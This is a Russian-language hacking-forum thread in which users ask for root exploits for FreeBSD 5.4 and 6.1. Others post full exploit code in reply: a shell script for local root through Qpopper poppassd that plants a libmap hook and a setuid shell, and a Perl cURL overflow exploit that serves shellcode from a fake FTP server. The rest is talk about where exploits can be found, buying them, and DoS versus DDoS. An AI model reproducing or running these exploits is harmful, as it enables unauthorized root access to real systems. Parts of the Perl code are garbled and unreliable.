Форум АНТИЧАТ - У кого есть рут сплойт под фряху?

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)

- *nix (https://forum.antichat.xyz/forumdisplay.php?f=43)

- - У кого есть рут сплойт под фряху? (https://forum.antichat.xyz/showthread.php?t=23367)

У кого есть рут сплойт под фряху?

Вот собственно под эту версию FreeBSD 5.4-RELEASE сплойт нужен. В инете обыскал не где не нашёл. У кого есть поделитесь :).

вот тебе хорошый сплойт для FreeBSD 5.4-RELEASE

PHP код:


		
			
#!/bin/sh

###########################################################################

# FreeBSD Qpopper poppassd latest version local r00t exploit by kcope   ###

# tested on FreeBSD 5.4-RELEASE                                         ###

###########################################################################



POPPASSD_PATH=/usr/local/bin/poppassd

HOOKLIB=libutil.so.4



echo ""

echo "FreeBSD Qpopper poppassd latest version local r00t exploit by kcope"

echo ""

sleep 2

umask 0000

if [ -f /etc/libmap.conf ]; then

echo "OOPS /etc/libmap.conf already exists.. exploit failed!"

exit

fi

cat > program.c << _EOF

#include <unistd.h>

#include <stdio.h>

#include <sys/types.h>

#include <stdlib.h>



void _init()

{

 if (!geteuid()) {

 remove("/etc/libmap.conf");

 execl("/bin/sh","sh","-c","/bin/cp /bin/sh /tmp/xxxx ; /bin/chmod +xs /tmp/xxxx",NULL);

 }

}



_EOF

gcc -o program.o -c program.c -fPIC

gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles

cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0

echo "--- Now type ENTER ---"

echo ""

$POPPASSD_PATH -t /etc/libmap.conf

echo $HOOKLIB ../../../../../../tmp/libno_ex.so.1.0 > /etc/libmap.conf

su

if [ -f /tmp/xxxx ]; then

echo "IT'S A ROOTSHELL!!!"

/tmp/xxxx

else

echo "Sorry, exploit failed."

fi

Не не подходит ошибки выдаёт :(.
/usr/local/bin/poppassd: not found
cannot create /etc/libmap.conf: Permission denied

SanyaX вот посмотри http://www.milw0rm.com/exploits/1230

ну эт только если Qpopper установлен...

А вот мне нужен Сплоед под FreeBSD 6.1

Под шестую ветку есть только парочка DoS-эксплойтов, которые уже не работают

Цитата:

Сообщение от [loy]

А вот мне нужен Сплоед под FreeBSD 6.1

PHP код:


		
			
#!/usr/bin/perl

#

# Remote FreeBSD cURL exploit for versions 6.1 - 7.4

#

# Written by zillion (at http://www.safemode.org && http://www.xsnosoft.com)

#

# This exploit may only be used for testing purposes. More information 

# about the used vulnerability can be found on securityfocus:

#

# http://online.securityfocus.com/bid/1804

#

# The shellcode will write "Ha! Owned by a cURL!" to stdout on the system

# running cURL. The extra nops are needed because the buffer, which causes

# the overflow, is altered.

#

# $ ./curl -s ftp://xxx.xxx.xxx.xxx:21/

# Ha! Owned by a cURL! 



use IO::Socket;

use Net::hostent;



########################################################################



$shellcode = 

"xebx14x5ex31xc0x6ax14x56x40x40x50xb0x04x50xcd".

"x80x31xc0x40x50xcdx80xe8xe7xffxffxffx48x61x21".

"x20x4fx77x6ex65x64x20x62x79x20x61x20x63x55x52".

"x4cx21x23".



"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90";



while($_ = $ARGV[0], /^-/) {

shift; 

last if /^--$/;

/^-p/ && do { $port = shift; };

/^-l/ && do { $list = 1; };

/^-o/ && do { $offset = shift; };

}





$id = `id -u`; chop($id);

$size = 225;

$esp = 0xbfbffbd4;

$offset = -140 unless $offset;

$port = 21 unless $port;



if(!$list || $port > 1024 && $id != 0) {



print 

Option: $0 -o 



Note: low ports require root privileges



+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+



TWENTE

exit;



}



for ($i = 0; $i $port,

Proto => 'tcp',

Listen => 1,

Reuse => 1,

);

die "Could not create socket: $!n" unless $sock;



while($cl = $sock->accept()) {



$hostinfo = gethostbyaddr($cl->peeraddr);

printf "[Received connect from %s]n", $cl->peerhost;

print $cl "220 Safemode.org FTP server (Version 666) ready.n";

print $cl "230 Okn";

print $cl "227 $buffern";

sleep 2;



}

dracula4ever читай описание сплоита в шапке.. вроде инглиш же знаешь

Смешно этот сплойт воще не под рут идёт. Имхо я заметил под фряху воще в паблике сплойтов нету.

Ну, по сути можно разгрести шеллкод и переделать=) Мдя..

так и не нашел.. в паблике точно нет

Цитата:

Вот собственно под эту версию FreeBSD 5.4-RELEASE сплойт нужен. В инете обыскал не где не нашёл. У кого есть поделитесь .

SanyaX а ты нашел спойт под эту версию? если нашел поделись плиз...а то весь гугль обыскал ничего не нашел...или в правду под фряху нефига нету сплоитов (в паблике)?....

Все правильно! == в паблике нет local root kernel эксплойтов для FreeBsd => 5.4. Последний master.passwd disclosure exploit (dump in kmem)

А я бы купил

>А я бы купил
за сто рублей ?

Сплоитов под саму фряху и так не много... уточнять надо локальный удаленый..
нужно под демоны разве что смотреть..

Цитата:

Под шестую ветку есть только парочка DoS-эксплойтов, которые уже не работают

При чем здесь ДДОС? С ДДОСА ты не поднимешь рута!

Цитата:

Сообщение от KPOT_f!nd

При чем здесь ДДОС? С ДДОСА ты не поднимешь рута!

DoS и DDos вроде как разные вещи...

DDoS - Distributed Denial of Service = распределенная атака отказа в обслуживании. Это еще более разрушительная атака чем просто DoS.

Цитата:

я так не считаю... поясню почему есть два вида атак DDoS и DoS, так вот простой отказ в обслуживании (DoS - Denial of Service), да - должен строится на уязвимостях софта и железа, но именно связи с этим он кратковременен и неэффективен, софт пропатчат, железо проапгрейтят... а вот DDoS - Distributed DoS - не должен быть привязан к конкретному софту или железу, это так сказать "последнее слово"... он в силу многочисленности ботов воздействует на физические ресурсы (канал, вычислительные мощности и т.д.) и атакующий должен быть в нем уверен, как в ядерной бомбе... потому, что кроме как вывести хост на максимальное время из строя других целей нет, и это должно осуществляться независимо от железа или софта, например:
ах у нас маршрутизатор фильтрует пакеты идущие к Апачу на Линуксе, на фик тогда - еще X ботов подключим и забьем маршрутизатор, чтоб не успевал все фильтровать... и так далее...
конечно, это идеальная схема, но цель именно такова...

(c)xakepy.ru

Цитата:

DoS и DDos вроде как разные вещи...

Читай нормально ДДОС и DOS.

Да блин, идея у них одна =/